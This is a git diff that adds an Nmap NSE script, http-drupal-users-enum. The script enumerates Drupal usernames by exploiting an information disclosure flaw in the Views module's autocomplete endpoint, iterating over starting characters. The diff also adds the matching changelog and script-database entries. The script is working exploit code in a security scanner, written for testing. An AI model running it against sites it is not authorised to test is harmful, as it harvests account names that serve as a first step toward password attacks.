diff --git a/CHANGELOG b/CHANGELOG index 6fed63312..db99a03d3 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,9 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added new script http-drupal-users-enum, which enumerates all available + Drupal user accounts by exploiting a vulnerability in the Views module. + [Hani Benhabiles] + o [NSE] Added new script broadcast-ataoe-discover, which discovers ATA over Ethernet capable devices through LAN ethernet broadcasts. [Patrik Karlsson] diff --git a/scripts/http-drupal-users-enum.nse b/scripts/http-drupal-users-enum.nse new file mode 100644 index 000000000..7e38f10b4 --- /dev/null +++ b/scripts/http-drupal-users-enum.nse @@ -0,0 +1,78 @@ +description = [[ +Enumerates Drupal users by exploiting a an information disclosure vulnerability +in Views, Drupal's most popular module. + +Requests to admin/views/ajax/autocomplete/user/STRING return all usernames that +begin with STRING. The script works by iterating STRING over letters to extract +all usernames. + +For more information,see: + * http://www.madirish.net/node/465 +]] + +--- +-- @usage +-- nmap --script=http-drupal-users --script-arg http-drupal-users.root="/path/" +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-drupal-users: +-- | admin +-- | alex +-- | manager +-- |_ user +-- +-- @args http-drupal-users.root base path. Defaults to "/" + +author = "Hani Benhabiles" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"discovery", "intrusive"} + +require 'http' +require 'stdnse' +require 'shortport' +require 'json' + +portrule = shortport.http + +action = function(host, port) + local root = stdnse.get_script_args("http-drupal-users.root") or "/" + local character, allrequests,user + local result = {} + + -- ensure that root ends with a trailing slash + if ( not(root:match(".*/$")) ) then + root = root .. "/" + end + + -- characters that usernames may begin with + -- + is space in url + local characters = "abcdefghijklmnopqrstuvwxyz.-123456789+" + + for character in characters:gmatch(".") do + -- add request to pipeline + allrequests = http.pipeline_add(root.. 'admin/views/ajax/autocomplete/user/' .. character, nil, allrequests, "GET") + end + + -- send requests + local pipeline_responses = http.pipeline_go(host, port, allrequests) + if not pipeline_responses then + stdnse.print_debug(1, "No answers from pipelined requests", SCRIPT_NAME) + return nil + end + + for i, response in pairs(pipeline_responses) do + if response.status == 200 then + local status, info = json.parse(response.body) + if status then + for _,user in pairs(info) do + if user ~= "Anonymous" then + table.insert(result, user) + end + end + end + end + end + return stdnse.format_output(true, result) +end diff --git a/scripts/script.db b/scripts/script.db index 615bca51b..2999f41db 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -118,6 +118,7 @@ Entry { filename = "http-cors.nse", categories = { "default", "discovery", "safe Entry { filename = "http-date.nse", categories = { "discovery", "safe", } } Entry { filename = "http-default-accounts.nse", categories = { "auth", "discovery", "safe", } } Entry { filename = "http-domino-enum-passwords.nse", categories = { "auth", "intrusive", } } +Entry { filename = "http-drupal-users-enum.nse", categories = { "discovery", "intrusive", } } Entry { filename = "http-email-harvest.nse", categories = { "discovery", "safe", } } Entry { filename = "http-enum.nse", categories = { "discovery", "intrusive", "vuln", } } Entry { filename = "http-favicon.nse", categories = { "default", "discovery", "safe", } }